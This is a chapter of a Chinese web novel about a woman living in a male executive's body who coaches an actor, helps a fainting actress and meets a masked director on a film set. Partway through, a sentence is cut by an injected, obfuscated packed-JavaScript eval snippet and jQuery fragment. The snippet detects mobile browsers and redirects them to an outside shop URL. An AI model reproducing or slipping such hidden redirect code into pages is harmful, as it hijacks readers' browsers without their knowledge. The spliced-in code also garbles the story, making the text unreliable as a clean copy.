23. 在剧组教男演员演绿茶
作品:《落魄反派?怎么是粘人恋爱脑》 宫瑗在剧组里走来走去,欣赏了古色古香的造景。
她将自己做的缠花作品拿来,给了服道化老师们看,她们眼前一亮。
缠花制作成的作品不仅有簪子,还有钗子,银梳,把绒花缠到看不出原材料。
一枚粉色木芙蓉花簪子,花瓣纹路细致,白色珍珠点缀花蕊,金簪尾部点缀了细珍珠流苏,贵气典雅。
这质感,第一眼看上去真的误以为是真花。
“好漂亮的簪子啊,墨总,这些都是从哪里买来的?”
“好久没见到这么好的缠花手工品了。”
“……”
宫瑗翘起嘴角,“刷直播的时候买的。”
服道化这边和造型师沟通了一下,将缠花簪子运用到发型其中。
……
这里充满了新鲜感,她很喜欢。
女主们女配们穿着漂亮的古装,仿佛画中走出来的古典美人,太美了!
看了半天。
男主的演技有点不太行,太僵硬了,眼神很木。
男演员是刚进演艺圈的新人,有一双看狗都深情的眼睛。
《珠玉传》讲的是女主商贾之女全家被灭,一人复仇,路上结识越来越多的女性,女主继承遗业,做生意的过程十分坎坷,每次都能迎刃而解,而男主就是个失忆的太子,被女主救了之后恋爱脑上头,怎么都不肯离开,在女主身边出现其他男人后,他化身小奶狗,茶言茶语撩拨女主,甚至主动爬床。
女主喜欢听话的狗,男主就主动做狗,恢复记忆后怕被女主赶走,继续装绿茶精,结果还是被女主识破了,男主被女主劝走,回京城后,男主为了快速见到女主,多次暗中提携女主做了皇商,还赐了个官职。
男主误以为女主身边有了更听话的狗,整个破防,哭到女主面前才得了个名分。
宫瑗从铁盒里拿出一块黑巧克力,嚼嚼嚼。
“导演,这男演员演的不够弱,还不够茶,他这样子就像知道女主以后会是他的人似的,不屑勾引女主。”宫瑗站在一组导演旁边。
一组导演戴黑色口罩,只露出精致的眉眼,眼尾下垂,是一双形状漂亮的狗狗眼。
宫瑗还没认全剧组的人,瞥了眼他的工作牌,宴筑。
“宴导,这一段不太行,重拍。”她的语气温和了些许。
宴筑的语气毫无起伏,“墨总想拍成什么样的?”
“我示范一遍吧。”
宫瑗走到了场景里面,女主的扮演者是女的,她现在的身体是男的,不行,她不能碰女演员。
她拿了男主的台词本看,对男演员许今说:“看我演绎,你一会儿就‘复制’我的演法。”
许今拘谨地站到一旁,“好的,墨老师。”
“墨老师”?
被人喊“老师”有种资历深的高智感,宫瑗暗爽。
宫瑗无实物表演,手指小心翼翼地捏着空气,双眼冒起水光,语气委屈巴巴地:“小姐,奴的命是您救的,生死由您决定……”
说完了长长一串台词,宫瑗挤出了两滴泪水,低头的时候,下巴被空气抬了一下。
那双眼睛,含情脉脉地望着空气。
围观的众人:“……”
不愧是吃软饭的祖师爷。
这段无实物表演,许今甘拜下风。
宫瑗一示范完,立即起身,对许今说:“你的眼神一定要柔,全身都要表达出一种‘我很可怜很无助’的情绪,明白没?”
许今点点头,“受教了!”
女主演秦雅多看了宫瑗两眼,这演技能够吊打很多小鲜肉了。
宫瑗走回了宴筑那边,看着监视器。
许今有了宫瑗的指点,演落魄绿茶手拿把掐。
这次拍摄一遍过。
宫瑗翘起嘴角,“宴导,这次拍的不错啊!”
宴筑上下打量她。
“男人”身穿灰色运动服,外搭一件黑色马甲,头戴黑色针织帽,五官立体,显得眉眼深邃,而“他”的眼神温和,周身散发随和的气息。
墨骁弋从一个雷厉风行的上位者,变成了惯会讨好女人的软饭男。
宴筑所了解的一切都是道听途说。
宫瑗摸了摸自己的脸,没脏东西,她纳了闷,又摸了摸自己的左眼,“你好奇的我的义眼吗?要不要看一眼?”
宴筑:“……”神经。
他在心里又补了两字:智障。
男主演的演技木木的,需要示范才开窍,宫瑗每次都能过一次戏瘾,天天往剧组跑。
一待就是半个月。
一入十二月,天气转凉,A市的温度稳定在十度到十五度之间。
秦雅拍了水里的戏份,已经到中午了,后勤正在发盒饭,片场里只有寥寥几个人。
忽然,秦雅在宫瑗面前晕倒了。
宫瑗以为她碰瓷。
女人唇色苍白,脸也毫无血色。
宫瑗把人叫醒了。
秦雅脑袋晕乎乎的,“我,我低血糖,一会儿就好了。”
宫瑗从包里拿出一块白巧克力,将包装袋拆开,送到她嘴边,“这个含糖量高,你快吃。”
“你们在干什么!”一道愤怒的女声响起。
宫瑗顺着声音看过去,墨骁弋手里提着一个粉色饭盒,站在圆形木门外,周身释放寒气。
“没干嘛啊。”她回了墨骁弋的话。
宫瑗又将两块白巧克力给了秦雅,“发消息叫你自己的助理过来,我有事先走了。”
琴雅愣住,瘫坐在地上,傻傻地看“他”的背影,小声回话:“好……好的……”
宫瑗走到墨骁弋身边,“你来了也不说一声?”
“你说这里好玩,原来是这个原因,用着我的身体撩妹。”墨骁弋的语气很冷。
宫瑗无奈叹气,“刚刚那女孩低血糖晕倒了,而我身上刚好有巧克力,我就帮了一下,没做什么,你能不能别脑补那么多?”
“没做其他的?”
“没有,我都没碰到她,这可是你的身体,人家是女的,要是碰了我得被剧组的人阴阳……”
“我做了你爱吃的番茄炒蛋。”墨骁弋的语气柔和下来,“去车子里吃吧,我不喜欢人多的地方。”
宫瑗点点头,“行。”
她暗道:不喜欢人多的地方还故意走过来。
明明一个电话就能打过来的。
宫瑗真的看不清墨骁弋心里在想什么。
两道一高一低的身影离开了剧组。
木门后面,戴着口罩的宴筑迈出一步,若有所思地看向他们离开的方向。
车上。
宫瑗吃上了热乎乎的饭菜。
墨骁弋坐在旁边,双腿优雅地交叠在一起。
平静无波的黑眸紧盯着她的右眼。
“还有巧克力吗?”他问。
“没有了,最后的几颗都给那女演员了。”宫瑗拿出了手机,“我给你发直播间了,你拍一号链接,连麦跟主播要巧克力就行,想要哪款,主播就给你拿哪款。”
墨骁弋心头一紧,涌出难以言喻的酸涩。
还有一颗名为嫉妒的种子生根发芽。
“今天起,不许再来剧组。”
“为什么?”
“为了防止你在我看不见的地方,用我的身体做出……不轨之事。”他的声音颤抖。
明明在此之前,她只对他一个人好!
是独一份的!
别人没有的!
如今为何要将这份“好”分成两瓣分给别人!
这份“好”不再专属他一个人的了!
嫉妒得要疯掉了!
宫瑗举起三根手指,“我发誓!我绝对不会做出撩男撩女这种事情!”
“你回去好好呆着,或者跟我到公司。”
“在家无聊,到公司我又看不懂文件,啥都不会,还不如在这里有趣,说不定某个瞬间,咱俩就换回身体了,你别着急。”
“我没有着急。”
“换回身体”四个字化作细针扎在他的心脏上。
墨骁弋盯着她的右眼,“如果我们换回去了,你要做什么?”
“养猫,躺平,世界纷扰与我无关。”
“你确定要一直待在剧组里?”
“……”
绕来绕去,又是这个问题。
宫瑗失去了说话的力气,埋头干饭。
……
回到了剧组后。
宫瑗坐在监视器上和另外两个女导演闲聊。
“这‘女凝’的角度拍得很秒!”宫瑗夸赞。
“以前就想拍女性为主体的题材了,总招不到投资商,因为在投资商眼里,这类女性拿权的影视不挣钱,现在拍爽了。”
“男人为女人雄竞,女人有了选择权,突破了以前古偶女主规规矩矩的形象。”
“墨总这剧本真是你写的吗?女频爽文了。”
这话一问到她。
宫瑗不自然地摸了摸鼻子,“在我落魄的时候,宫瑗救了我,给
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17079865|193629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了我活下去的机会,‘她’就是我的灵感,也让我见识到了女性力量,而她却总是被造谣,女性一强大就会被污蔑,我很心疼她,呃……所以,灵感油然而生。”
这话一出,两个女导演看“他”的眼神都变了。
男恋爱脑真不多见。
宴筑从外面走过来,拿了水杯又走出去了。
男人习惯性穿黑色卫衣,戴黑色口罩,看上去神秘又低调。
宫瑗压低了声音问:
“我进剧组这么多天,就没见他摘下口罩,你们见过吗?”
“他14岁就自己导演了一个微型纪录片获了个奖,此后人生跟开挂一样,成了天才导演,但是吧,有严重的容貌焦虑,他不管出席公开活动还是私人活动,都戴口罩,至今没有外人见过他的真容,除非能拿到他的身份证。”女导演1说。
女导演2笑了笑,“追求艺术的人,都有点个性。”
“他的眉眼挺好看的,整张脸应该很和谐,再差也差不到哪去吧?”宫瑗还是很疑惑。
两人没再回答她的问题。
宫瑗挠了挠下巴。
接下来的三天里,她暗中观察宴筑,他喝水的时候也是进房间里,压根看不到清晰的下半张脸。
真是个怪人。
宫瑗放弃盯宴筑了。
天气越来越冷,宫瑗怕冷,把自己裹得像个粽子似的。
宫瑗在剧组周围闲逛,看到了草丛里有一窝猫,幼小的狸花猫、三花猫,一共五只。
拨开草丛,里面还有干净的猫粮和鸡胸肉。
她的手一顿,看来这些野猫有很多人喂养。
“你在干什么?”冰冷的声音从她背后传来。
宫瑗立即退出了三米,看向宴筑,“这草丛长猫了。”
墨骁弋的身体对动物毛发过敏,她不敢碰小猫小狗的。
这些猫小小的憨态可掬,萌得人心都化了。
宫瑗再怎么喜欢也不会碰。
宴筑将自己的黑色围巾摘下来,摊开平整后,将五只幼崽抱出来,放在围巾上。
“你把母猫带上。”他突然冒出一句话来。
宫瑗一脸为难,“我对猫毛过敏。”
“借口。”
宴筑直接将母猫抱上自己的肩膀,母猫稳稳地趴在他宽阔的肩上。
“宴导,你真有爱心啊。”宫瑗对着他的背影夸了句。
宴筑惜字如金,压根不搭理她。
宫瑗踢了一下脚边的石子。
“墨老师。”
清丽的女声叫住了她。
宫瑗抬头就看到了秦雅,“怎么了?”
“这是我特意挑的巧克力送给您,谢谢墨老师上次的帮忙。”秦雅露出腼腆的笑。
宫瑗盯着她的脸看了十秒钟,伸手接过她送的巧克力礼盒。
见“他”收下,秦雅耳廓发红,“墨老师,我…我先回去了,不然一会儿要被其他人看见了。”
丢下这句话后,她小跑离开。
宫瑗打开了礼盒,这个巧克力牌子很贵,一颗99。
秦雅和她现实里的出车祸去世的好朋友长得一模一样。
尽管知道这个人不是她,还是下意识多看了两眼。
十六岁去世的少女,而二十四岁的女人,五官和气质非常相似。
宫瑗走了两步,脑海闪过一窝圆滚滚的猫咪幼崽,心里痒痒的。
真的非常想摸一下小猫咪!
小小的猫咪,不仅毛发干干净净的,而且毛茸茸的,全身都热乎乎的,冬天就该抱着小猫咪互相取暖啊!
宫瑗经过宴筑的房车外面,停了一下,喊:“宴导,你这是要把猫全都带回家养吗?”
宴筑开了车门,居高临下睥睨车外的“男人”。
“男人”右眼灵动,泛着清澈的光芒,周身释放阴柔的气息。
“剧组里有意向收养小猫的人,都在排队,你要收养小猫,也要排队去。”宴筑开口。
他的声音隔着一层口罩,闷着气。
“哦。”
宫瑗转身。
“你这些天盯着我做甚?”宴筑语气冷漠。
“我疑惑你口罩哪买的,质量忒好了,几乎焊在脸上了,不怕风吹雨打。”
“……”
这番话真的很欠。
宴筑盯着她的右眼,“想看我的脸?可以,彼此交换一个秘密。”
“你真下头啊,谁说想要看你的脸了!不知羞耻。”宫瑗一本正经地怼了他一句。

